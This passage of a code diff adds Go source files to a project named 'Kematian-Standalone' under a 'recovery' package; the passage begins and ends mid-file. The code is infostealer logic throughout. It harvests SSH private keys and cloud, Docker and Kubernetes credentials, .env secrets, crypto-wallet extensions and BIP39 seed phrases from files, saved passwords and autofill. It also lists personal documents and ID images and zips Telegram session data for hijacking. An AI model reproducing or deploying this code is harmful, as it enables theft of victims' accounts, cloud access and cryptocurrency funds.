+	"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
+	"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
+	"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
+	"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
+	"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
+	"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
+}
+
+func ScanExtensions() []types.ExtensionResult {
+	var results []types.ExtensionResult
+	for _, cfg := range browser.Browsers {
+		if cfg.IsFirefox {
+			continue
+		}
+		profiles := browser.FindProfileDirs(cfg)
+		for _, profile := range profiles {
+			extDir := filepath.Join(profile.Path, "Extensions")
+			entries, err := os.ReadDir(extDir)
+			if err != nil {
+				continue
+			}
+			for _, e := range entries {
+				if !e.IsDir() {
+					continue
+				}
+				extID := e.Name()
+				// Skip internal Chromium marker dirs
+				if strings.HasPrefix(extID, "_") {
+					continue
+				}
+				extIDDir := filepath.Join(extDir, extID)
+				versionDirs, err := os.ReadDir(extIDDir)
+				if err != nil {
+					continue
+				}
+				for _, vd := range versionDirs {
+					if !vd.IsDir() {
+						continue
+					}
+					versionPath := filepath.Join(extIDDir, vd.Name())
+					name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
+					category := ""
+					if walletName, ok := knownWalletExtensions[extID]; ok {
+						category = "wallet"
+						if name == "" {
+							name = walletName
+						}
+					}
+					results = append(results, types.ExtensionResult{
+						ExtID:    extID,
+						Name:     name,
+						Version:  version,
+						Browser:  cfg.Name,
+						Profile:  profile.Name,
+						Path:     versionPath,
+						Category: category,
+					})
+					break // first version directory only
+				}
+			}
+		}
+	}
+	return results
+}
+
+type manifestBasics struct {
+	Name    string `json:"name"`
+	Version string `json:"version"`
+}
+
+func readManifestBasics(path string) (name, version string) {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return "", ""
+	}
+	var m manifestBasics
+	if err := json.Unmarshal(data, &m); err != nil {
+		return "", ""
+	}
+	if strings.HasPrefix(m.Name, "__MSG_") {
+		m.Name = ""
+	}
+	return m.Name, m.Version
+}

Kematian-Standalone/native/recovery/scanner/files.go

@@ -0,0 +1,170 @@
+package scanner
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+const (
+	maxFiles        = 500
+	maxScanDepth    = 3
+	maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
+	MaxFetchSize    = 10 * 1024 * 1024  // 10 MB — max content returned per fetch
+)
+
+var targetExtensions = map[string]bool{
+	// Office documents
+	".docx": true, ".doc": true, ".docm": true,
+	".xlsx": true, ".xls": true, ".xlsm": true,
+	".pptx": true, ".ppt": true, ".pptm": true,
+	".odt": true, ".ods": true, ".odp": true,
+	// Plain text / markup
+	".txt": true, ".rtf": true, ".md": true,
+	".csv": true, ".tsv": true,
+	// PDFs
+	".pdf": true,
+	// Archives (metadata only — content not fetched automatically)
+	".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
+	// Credential / key files
+	".kdbx": true, ".key": true, ".pem": true,
+	".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
+	// Dotenv — commonly stores API keys and secrets
+	".env": true,
+	// Images — IDs, passports, screenshots of credentials, seed phrases
+	".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
+	".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
+	".heic": true, ".heif": true,
+}
+
+// seedPhraseLengths are the BIP39 word counts we consider suspicious.
+var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
+
+type scanLocation struct {
+	subPath string
+	label   string
+}
+
+// ScanFiles walks common user locations and returns matching file metadata.
+// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
+func ScanFiles() []types.FileResult {
+	home, _ := os.UserHomeDir()
+	if home == "" {
+		return nil
+	}
+
+	var results []types.FileResult
+	seen := make(map[string]bool)
+
+	for _, loc := range getScanLocations() {
+		dir := filepath.Join(home, loc.subPath)
+		scanDir(dir, loc.label, 0, &results, seen)
+		if len(results) >= maxFiles {
+			break
+		}
+	}
+
+	return results
+}
+
+func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
+	if depth > maxScanDepth || len(*results) >= maxFiles {
+		return
+	}
+
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return
+	}
+
+	for _, e := range entries {
+		if len(*results) >= maxFiles {
+			return
+		}
+
+		name := e.Name()
+		// skip hidden / system files
+		if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
+			continue
+		}
+
+		fullPath := filepath.Join(dir, name)
+
+		if e.IsDir() {
+			scanDir(fullPath, label, depth+1, results, seen)
+			continue
+		}
+
+		ext := strings.ToLower(filepath.Ext(name))
+		if !targetExtensions[ext] {
+			continue
+		}
+
+		if seen[fullPath] {
+			continue
+		}
+		seen[fullPath] = true
+
+		info, err := e.Info()
+		if err != nil {
+			continue
+		}
+
+		if info.Size() > maxFileSizeList {
+			continue
+		}
+
+		var tags []string
+		if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
+			tags = contentTags
+		}
+
+		*results = append(*results, types.FileResult{
+			Path:     fullPath,
+			Name:     name,
+			Ext:      ext,
+			Size:     info.Size(),
+			Modified: info.ModTime().Unix(),
+			Dir:      label,
+			Tags:     tags,
+		})
+	}
+}
+
+// looksLikeSeedLine returns true if every word is 3–8 lowercase letters.
+// BIP39 words are exclusively lowercase a–z with lengths in that range.
+func looksLikeSeedLine(words []string) bool {
+	if !seedPhraseLengths[len(words)] {
+		return false
+	}
+	for _, w := range words {
+		if len(w) < 3 || len(w) > 8 {
+			return false
+		}
+		for _, c := range w {
+			if c < 'a' || c > 'z' {
+				return false
+			}
+		}
+	}
+	return true
+}
+
+// FetchFile reads a file and returns its raw bytes.
+// Returns an error if the file exceeds MaxFetchSize or does not exist.
+func FetchFile(path string) ([]byte, error) {
+	info, err := os.Stat(path)
+	if err != nil {
+		return nil, fmt.Errorf("file not found")
+	}
+	if info.IsDir() {
+		return nil, fmt.Errorf("path is a directory")
+	}
+	if info.Size() > MaxFetchSize {
+		return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
+	}
+	return os.ReadFile(path)
+}

Kematian-Standalone/native/recovery/scanner/files_unix.go

@@ -0,0 +1,14 @@
+//go:build !windows
+
+package scanner
+
+func getScanLocations() []scanLocation {
+	return []scanLocation{
+		{"Desktop", "Desktop"},
+		{"Documents", "Documents"},
+		{"Downloads", "Downloads"},
+		{".local/share", ".local/share"},
+		{"Dropbox", "Dropbox"},
+		{"snap", "Snap"},
+	}
+}

Kematian-Standalone/native/recovery/scanner/files_windows.go

@@ -0,0 +1,17 @@
+//go:build windows
+
+package scanner
+
+func getScanLocations() []scanLocation {
+	return []scanLocation{
+		{"Desktop", "Desktop"},
+		{"Documents", "Documents"},
+		{"Downloads", "Downloads"},
+		{`OneDrive\Desktop`, "OneDrive/Desktop"},
+		{`OneDrive\Documents`, "OneDrive/Documents"},
+		{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
+		{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
+		{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
+		{`OneDrive - Business\Documents`, "OneDrive/Documents"},
+	}
+}

Kematian-Standalone/native/recovery/scanner/keys.go

@@ -0,0 +1,313 @@
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+const maxKeyFileSize = 512 * 1024 // 512KB
+
+func gcpConfigDir(home string) string {
+	if runtime.GOOS == "windows" {
+		return filepath.Join(home, "AppData", "Roaming", "gcloud")
+	}
+	return filepath.Join(home, ".config", "gcloud")
+}
+
+func ScanKeys() []types.KeyResult {
+	var results []types.KeyResult
+	home, _ := os.UserHomeDir()
+	if home == "" {
+		return nil
+	}
+
+	results = append(results, scanSSHKeys(home)...)
+	results = append(results, scanAWSCredentials(home)...)
+	results = append(results, scanGCPCredentials(home)...)
+	results = append(results, scanAzureCredentials(home)...)
+	results = append(results, scanDockerCredentials(home)...)
+	results = append(results, scanKubeConfig(home)...)
+	results = append(results, scanEnvFiles(home)...)
+
+	return results
+}
+
+func scanSSHKeys(home string) []types.KeyResult {
+	sshDir := filepath.Join(home, ".ssh")
+	entries, err := os.ReadDir(sshDir)
+	if err != nil {
+		return nil
+	}
+
+	var results []types.KeyResult
+	for _, e := range entries {
+		if e.IsDir() {
+			continue
+		}
+		name := e.Name()
+		if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
+			continue
+		}
+
+		path := filepath.Join(sshDir, name)
+		info, err := e.Info()
+		if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+			continue
+		}
+
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+		content := string(data)
+
+		if isPrivateKey(content) {
+			results = append(results, types.KeyResult{
+				Type:    "ssh",
+				Name:    name,
+				Path:    path,
+				Size:    info.Size(),
+				Content: content,
+			})
+		}
+	}
+
+	configPath := filepath.Join(sshDir, "config")
+	if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
+		if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
+			results = append(results, types.KeyResult{
+				Type:    "ssh_config",
+				Name:    "config",
+				Path:    configPath,
+				Size:    info.Size(),
+				Content: string(data),
+			})
+		}
+	}
+
+	return results
+}
+
+func isPrivateKey(content string) bool {
+	markers := []string{
+		"-----BEGIN OPENSSH PRIVATE KEY-----",
+		"-----BEGIN RSA PRIVATE KEY-----",
+		"-----BEGIN EC PRIVATE KEY-----",
+		"-----BEGIN DSA PRIVATE KEY-----",
+		"-----BEGIN PRIVATE KEY-----",
+		"-----BEGIN ENCRYPTED PRIVATE KEY-----",
+		"PuTTY-User-Key-File-",
+	}
+	for _, m := range markers {
+		if strings.Contains(content, m) {
+			return true
+		}
+	}
+	return false
+}
+
+func scanAWSCredentials(home string) []types.KeyResult {
+	var results []types.KeyResult
+	awsDir := filepath.Join(home, ".aws")
+
+	for _, name := range []string{"credentials", "config"} {
+		path := filepath.Join(awsDir, name)
+		info, err := os.Stat(path)
+		if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+			continue
+		}
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+		results = append(results, types.KeyResult{
+			Type:    "aws",
+			Name:    name,
+			Path:    path,
+			Size:    info.Size(),
+			Content: string(data),
+		})
+	}
+
+	return results
+}
+
+func scanGCPCredentials(home string) []types.KeyResult {
+	var results []types.KeyResult
+
+	gcpDir := gcpConfigDir(home)
+	candidates := []string{
+		filepath.Join(gcpDir, "application_default_credentials.json"),
+		filepath.Join(gcpDir, "credentials.db"),
+		filepath.Join(gcpDir, "properties"),
+	}
+
+	for _, dir := range []string{
+		filepath.Join(home, "Desktop"),
+		filepath.Join(home, "Documents"),
+		filepath.Join(home, "Downloads"),
+	} {
+		entries, err := os.ReadDir(dir)
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			name := e.Name()
+			if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
+				candidates = append(candidates, filepath.Join(dir, name))
+			}
+		}
+	}
+
+	for _, path := range candidates {
+		info, err := os.Stat(path)
+		if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+			continue
+		}
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+		content := string(data)
+		if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
+			results = append(results, types.KeyResult{
+				Type:    "gcp",
+				Name:    filepath.Base(path),
+				Path:    path,
+				Size:    info.Size(),
+				Content: content,
+			})
+		}
+	}
+
+	return results
+}
+
+func scanAzureCredentials(home string) []types.KeyResult {
+	var results []types.KeyResult
+
+	azureDir := filepath.Join(home, ".azure")
+	candidates := []string{
+		filepath.Join(azureDir, "accessTokens.json"),
+		filepath.Join(azureDir, "azureProfile.json"),
+		filepath.Join(azureDir, "msal_token_cache.json"),
+		filepath.Join(azureDir, "service_principal_entries.json"),
+	}
+
+	for _, path := range candidates {
+		info, err := os.Stat(path)
+		if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+			continue
+		}
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+		results = append(results, types.KeyResult{
+			Type:    "azure",
+			Name:    filepath.Base(path),
+			Path:    path,
+			Size:    info.Size(),
+			Content: string(data),
+		})
+	}
+
+	return results
+}
+
+func scanDockerCredentials(home string) []types.KeyResult {
+	var results []types.KeyResult
+
+	path := filepath.Join(home, ".docker", "config.json")
+	info, err := os.Stat(path)
+	if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+		return nil
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil
+	}
+	if strings.Contains(string(data), "auths") {
+		results = append(results, types.KeyResult{
+			Type:    "docker",
+			Name:    "config.json",
+			Path:    path,
+			Size:    info.Size(),
+			Content: string(data),
+		})
+	}
+	return results
+}
+
+func scanKubeConfig(home string) []types.KeyResult {
+	var results []types.KeyResult
+
+	path := filepath.Join(home, ".kube", "config")
+	info, err := os.Stat(path)
+	if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+		return nil
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil
+	}
+	results = append(results, types.KeyResult{
+		Type:    "kubernetes",
+		Name:    "config",
+		Path:    path,
+		Size:    info.Size(),
+		Content: string(data),
+	})
+	return results
+}
+
+func scanEnvFiles(home string) []types.KeyResult {
+	var results []types.KeyResult
+
+	searchDirs := []string{
+		filepath.Join(home, "Desktop"),
+		filepath.Join(home, "Documents"),
+		filepath.Join(home, "Downloads"),
+	}
+
+	for _, dir := range searchDirs {
+		entries, err := os.ReadDir(dir)
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			name := e.Name()
+			if name != ".env" && !strings.HasPrefix(name, ".env.") {
+				continue
+			}
+			path := filepath.Join(dir, name)
+			info, err := e.Info()
+			if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
+				continue
+			}
+			data, err := os.ReadFile(path)
+			if err != nil {
+				continue
+			}
+			results = append(results, types.KeyResult{
+				Type:    "env",
+				Name:    name,
+				Path:    path,
+				Size:    info.Size(),
+				Content: string(data),
+			})
+		}
+	}
+
+	return results
+}

Kematian-Standalone/native/recovery/scanner/log.go

@@ -0,0 +1,7 @@
+package scanner
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[scanner] "+format, args...)
+}

Kematian-Standalone/native/recovery/scanner/seeds.go

@@ -0,0 +1,274 @@
+package scanner
+
+import (
+	"os"
+	"regexp"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+// BIP39-valid word counts
+var validSeedLengths = map[int]bool{
+	12: true, 15: true, 18: true, 21: true, 24: true,
+}
+
+const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
+
+var seedScanFileExts = map[string]bool{
+	".txt": true, ".md": true, ".csv": true, ".tsv": true,
+	".log": true, ".rtf": true, ".json": true, ".xml": true,
+	".env": true, ".cfg": true, ".conf": true, ".ini": true,
+	".bak": true, ".old": true, ".tmp": true, ".note": true,
+	".doc": true, ".nfo": true, ".asc": true, ".key": true,
+	".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
+}
+
+// contentScanExts are the text formats read during the file listing scan to
+// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
+var contentScanExts = seedScanFileExts
+
+// privateKeyRe matches PEM private-key header lines. The optional algorithm
+// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
+var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
+
+// contentFileTags reads a small text file once and returns the security tags
+// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
+// contains a PEM private-key header. Returns nil when the file is not a
+// recognized text format or is too large to scan.
+func contentFileTags(path, ext string, size int64) []string {
+	if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
+		return nil
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil
+	}
+
+	var tags []string
+	content := strings.ToLower(string(data))
+	if looksLikeSeedLine(strings.Fields(content)) {
+		tags = append(tags, "seed")
+	} else {
+		for _, line := range strings.Split(content, "\n") {
+			if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
+				tags = append(tags, "seed")
+				break
+			}
+		}
+	}
+	// PEM headers are case-sensitive, so match against the raw bytes.
+	if privateKeyRe.Match(data) {
+		tags = append(tags, "key")
+	}
+	return tags
+}
+
+// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
+var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
+
+// ScanSeeds searches collected data for BIP39 seed phrases.
+// Checks file contents, password values, and autofill values.
+func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
+	seen := make(map[string]bool)
+	var results []types.SeedResult
+
+	// Scan files
+	for _, f := range files {
+		if f.Size > seedScanMaxFileSize || f.Size == 0 {
+			continue
+		}
+		if !seedScanFileExts[f.Ext] {
+			continue
+		}
+		data, err := os.ReadFile(f.Path)
+		if err != nil {
+			continue
+		}
+		for _, phrase := range extractSeedPhrases(string(data)) {
+			if !seen[phrase] {
+				seen[phrase] = true
+				results = append(results, types.SeedResult{
+					Source: "file",
+					Path:   f.Path,
+					Phrase: phrase,
+					Words:  len(strings.Fields(phrase)),
+				})
+			}
+		}
+	}
+
+	// Scan passwords
+	for _, p := range passwords {
+		for _, phrase := range extractSeedPhrases(p.Password) {
+			if !seen[phrase] {
+				seen[phrase] = true
+				results = append(results, types.SeedResult{
+					Source: "password",
+					Path:   p.URL,
+					Phrase: phrase,
+					Words:  len(strings.Fields(phrase)),
+				})
+			}
+		}
+		for _, phrase := range extractSeedPhrases(p.Username) {
+			if !seen[phrase] {
+				seen[phrase] = true
+				results = append(results, types.SeedResult{
+					Source: "password",
+					Path:   p.URL,
+					Phrase: phrase,
+					Words:  len(strings.Fields(phrase)),
+				})
+			}
+		}
+	}
+
+	// Scan autofill values
+	for _, a := range autofill {
+		for _, phrase := range extractSeedPhrases(a.Value) {
+			if !seen[phrase] {
+				seen[phrase] = true
+				results = append(results, types.SeedResult{
+					Source: "autofill",
+					Path:   a.Name,
+					Phrase: phrase,
+					Words:  len(strings.Fields(phrase)),
+				})
+			}
+		}
+	}
+
+	return results
+}
+
+// extractSeedPhrases finds all BIP39-like seed phrases in text content.
+// Handles: space-separated, comma-separated, numbered lists, newline-separated.
+func extractSeedPhrases(content string) []string {
+	if len(content) == 0 {
+		return nil
+	}
+
+	content = strings.ToLower(content)
+	var found []string
+
+	// Strategy 1: full content as one phrase (file contains only the seed)
+	if phrase := tryExtractPhrase(content); phrase != "" {
+		found = append(found, phrase)
+		return found
+	}
+
+	// Strategy 2: line-by-line (seed on one line)
+	for _, line := range strings.Split(content, "\n") {
+		line = strings.TrimSpace(line)
+		if line == "" {
+			continue
+		}
+		if phrase := tryExtractPhrase(line); phrase != "" {
+			found = append(found, phrase)
+		}
+	}
+
+	// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
+	if phrase := tryNumberedList(content); phrase != "" {
+		if !containsPhrase(found, phrase) {
+			found = append(found, phrase)
+		}
+	}
+
+	// Strategy 4: comma-separated words
+	if strings.Contains(content, ",") {
+		normalized := strings.ReplaceAll(content, ",", " ")
+		if phrase := tryExtractPhrase(normalized); phrase != "" {
+			if !containsPhrase(found, phrase) {
+				found = append(found, phrase)
+			}
+		}
+	}
+
+	return found
+}
+
+// tryExtractPhrase checks if text contains a valid seed phrase
+func tryExtractPhrase(text string) string {
+	words := strings.Fields(text)
+	if isValidSeedPhrase(words) {
+		return strings.Join(words, " ")
+	}
+
+	// Try sliding window for phrases embedded in longer text
+	for _, count := range []int{24, 21, 18, 15, 12} {
+		if len(words) < count {
+			continue
+		}
+		for i := 0; i <= len(words)-count; i++ {
+			window := words[i : i+count]
+			if isValidSeedPhrase(window) {
+				return strings.Join(window, " ")
+			}
+		}
+	}
+	return ""
+}
+
+// tryNumberedList extracts words from numbered list format:
+// "1. abandon\n2. ability\n3. able\n..."
+func tryNumberedList(content string) string {
+	lines := strings.Split(content, "\n")
+	var words []string
+	for _, line := range lines {
+		line = strings.TrimSpace(line)
+		if line == "" {
+			continue
+		}
+		cleaned := numberedLineRe.ReplaceAllString(line, "")
+		cleaned = strings.TrimSpace(cleaned)
+		if cleaned == "" {
+			continue
+		}
+		// Each numbered line should have exactly one word
+		lineWords := strings.Fields(cleaned)
+		if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
+			words = append(words, lineWords[0])
+		}
+	}
+	if isValidSeedPhrase(words) {
+		return strings.Join(words, " ")
+	}
+	return ""
+}
+
+func isValidSeedPhrase(words []string) bool {
+	if !validSeedLengths[len(words)] {
+		return false
+	}
+	for _, w := range words {
+		if !isBIP39Word(w) {
+			return false
+		}
+	}
+	return true
+}
+
+// isBIP39Word checks if a word matches BIP39 characteristics:
+// lowercase a-z only, 3-8 characters.
+func isBIP39Word(w string) bool {
+	if len(w) < 3 || len(w) > 8 {
+		return false
+	}
+	for _, c := range w {
+		if c < 'a' || c > 'z' {
+			return false
+		}
+	}
+	return true
+}
+
+func containsPhrase(phrases []string, phrase string) bool {
+	for _, p := range phrases {
+		if p == phrase {
+			return true
+		}
+	}
+	return false
+}

Kematian-Standalone/native/recovery/scanner/telegram.go

@@ -0,0 +1,234 @@
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/types"
+	"recovery/recovery/ziputil"
+)
+
+type telegramPathConfig struct {
+	name    string
+	subPath string
+	base    string
+}
+
+var tdataSessionFiles = map[string]bool{
+	"key_datas": true,
+	"usertag":   true,
+	"settings0": true,
+	"settings1": true,
+	"configs":   true,
+}
+
+func isTdataSessionDir(name string) bool {
+	if len(name) != 16 {
+		return false
+	}
+	for _, c := range name {
+		if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
+			return false
+		}
+	}
+	return true
+}
+
+func ScanTelegram() []types.TelegramResult {
+	var results []types.TelegramResult
+
+	for _, tp := range getTelegramPaths() {
+		base := resolveTelegramBase(tp.base)
+		if base == "" {
+			continue
+		}
+
+		tdataDir := filepath.Join(base, tp.subPath)
+		if _, err := os.Stat(tdataDir); err != nil {
+			continue
+		}
+
+		accounts := findTelegramAccounts(tdataDir)
+		for _, acc := range accounts {
+			results = append(results, types.TelegramResult{
+				Account: acc.account,
+				Path:    acc.path,
+				Files:   acc.files,
+				Size:    acc.size,
+			})
+		}
+	}
+
+	return results
+}
+
+type telegramAccount struct {
+	account string
+	path    string
+	files   int
+	size    int64
+}
+
+func findTelegramAccounts(tdataDir string) []telegramAccount {
+	var accounts []telegramAccount
+
+	entries, err := os.ReadDir(tdataDir)
+	if err != nil {
+		return nil
+	}
+
+	hasKeyData := false
+	for _, e := range entries {
+		if !e.IsDir() && e.Name() == "key_datas" {
+			hasKeyData = true
+			break
+		}
+	}
+
+	if hasKeyData {
+		files, size := countTdataFiles(tdataDir)
+		if files > 0 {
+			accounts = append(accounts, telegramAccount{
+				account: "Main",
+				path:    tdataDir,
+				files:   files,
+				size:    size,
+			})
+		}
+	}
+
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		name := e.Name()
+		if !isTdataSessionDir(name) {
+			continue
+		}
+		sessionDir := filepath.Join(tdataDir, name)
+		sessionEntries, err := os.ReadDir(sessionDir)
+		if err != nil {
+			continue
+		}
+		hasData := false
+		for _, se := range sessionEntries {
+			if !se.IsDir() {
+				hasData = true
+				break
+			}
+		}
+		if hasData {
+			files, size := countTdataSessionFiles(sessionDir)
+			accounts = append(accounts, telegramAccount{
+				account: name,
+				path:    sessionDir,
+				files:   files,
+				size:    size,
+			})
+		}
+	}
+
+	return accounts
+}
+
+func countTdataFiles(tdataDir string) (int, int64) {
+	var count int
+	var totalSize int64
+
+	entries, err := os.ReadDir(tdataDir)
+	if err != nil {
+		return 0, 0
+	}
+
+	for _, e := range entries {
+		if e.IsDir() {
+			continue
+		}
+		name := e.Name()
+		if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
+			info, err := e.Info()
+			if err != nil {
+				continue
+			}
+			count++
+			totalSize += info.Size()
+		}
+	}
+
+	return count, totalSize
+}
+
+func countTdataSessionFiles(dir string) (int, int64) {
+	var count int
+	var totalSize int64
+
+	filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() {
+			return nil
+		}
+		count++
+		totalSize += info.Size()
+		return nil
+	})
+
+	return count, totalSize
+}
+
+func ZipTelegram(path string) ([]byte, error) {
+	info, err := os.Stat(path)
+	if err != nil {
+		return nil, err
+	}
+	if !info.IsDir() {
+		return nil, os.ErrNotExist
+	}
+
+	// If this is a session subfolder (hex name), just zip its contents directly
+	if isTdataSessionDir(filepath.Base(path)) {
+		return ziputil.ZipDirectory(path)
+	}
+
+	// Otherwise this is the tdata root — zip key files + session subdirs
+	return zipTdataRoot(path)
+}
+
+func zipTdataRoot(tdataDir string) ([]byte, error) {
+	entries, err := os.ReadDir(tdataDir)
+	if err != nil {
+		return nil, err
+	}
+
+	var filesToZip []string
+
+	for _, e := range entries {
+		name := e.Name()
+		if e.IsDir() {
+			if isTdataSessionDir(name) {
+				sessionDir := filepath.Join(tdataDir, name)
+				filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
+					if err != nil || info.IsDir() {
+						return nil
+					}
+					if info.Size() < 50*1024*1024 {
+						filesToZip = append(filesToZip, path)
+					}
+					return nil
+				})
+			}
+		} else {
+			if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
+				info, _ := e.Info()
+				if info != nil && info.Size() < 50*1024*1024 {
+					filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
+				}
+			}
+		}
+	}
+
+	if len(filesToZip) == 0 {
+		return nil, os.ErrNotExist
+	}
+
+	return ziputil.ZipFiles(filesToZip, tdataDir)
+}

Kematian-Standalone/native/recovery/scanner/telegram_unix.go

@@ -0,0 +1,51 @@
+//go:build !windows
+
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+)
+
+func getTelegramPaths() []telegramPathConfig {
+	if runtime.GOOS == "darwin" {
+		return []telegramPathConfig{
+			{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
+			{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
+			{"64Gram", "64Gram Desktop/tdata", "appdata"},
+		}
+	}
+	// Linux
+	return []telegramPathConfig{
+		{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
+		{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
+		{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
+		{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
+		{"64Gram", "64Gram Desktop/tdata", "home_data"},
+	}
+}
+
+func resolveTelegramBase(base string) string {
+	home, _ := os.UserHomeDir()
+	switch base {
+	case "home":
+		return home
+	case "home_data":
+		xdg := os.Getenv("XDG_DATA_HOME")
+		if xdg != "" {
+			return xdg
+		}
+		return filepath.Join(home, ".local", "share")
+	case "appdata":
+		if runtime.GOOS == "darwin" {
+			return filepath.Join(home, "Library", "Application Support")
+		}
+		return filepath.Join(home, ".config")
+	case "localappdata":
+		return filepath.Join(home, ".local", "share")
+	case "userprofile":
+		return home
+	}
+	return ""
+}

Kematian-Standalone/native/recovery/scanner/telegram_windows.go

@@ -0,0 +1,27 @@
+//go:build windows
+
+package scanner
+
+import "os"
+
+func getTelegramPaths() []telegramPathConfig {
+	return []telegramPathConfig{
+		{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
+		{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
+		{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
+		{"64Gram", `64Gram Desktop\tdata`, "appdata"},
+		{"Unigram", `Unigram\$local\tdata`, "localappdata"},
+	}
+}
+
+func resolveTelegramBase(base string) string {
+	switch base {
+	case "appdata":
+		return os.Getenv("APPDATA")
+	case "localappdata":
+		return os.Getenv("LOCALAPPDATA")
+	case "userprofile":
+		return os.Getenv("USERPROFILE")
+	}
+	return ""
+}

Kematian-Standalone/native/recovery/scanner/wallets.go

@@ -0,0 +1,179 @@
+package scanner
+
+import (
+	"bufio"
+	"fmt"
+	"os"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/types"
+)
+
+type walletConfig struct {
+	Name    string
+	SubPath string
+	Base    string // "appdata", "localappdata", "userprofile", "home"
+}
+
+var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
+var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
+
+const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
+const maxAddresses = 50
+
+func ScanWallets() []types.WalletResult {
+	var results []types.WalletResult
+	results = append(results, scanDesktopWallets()...)
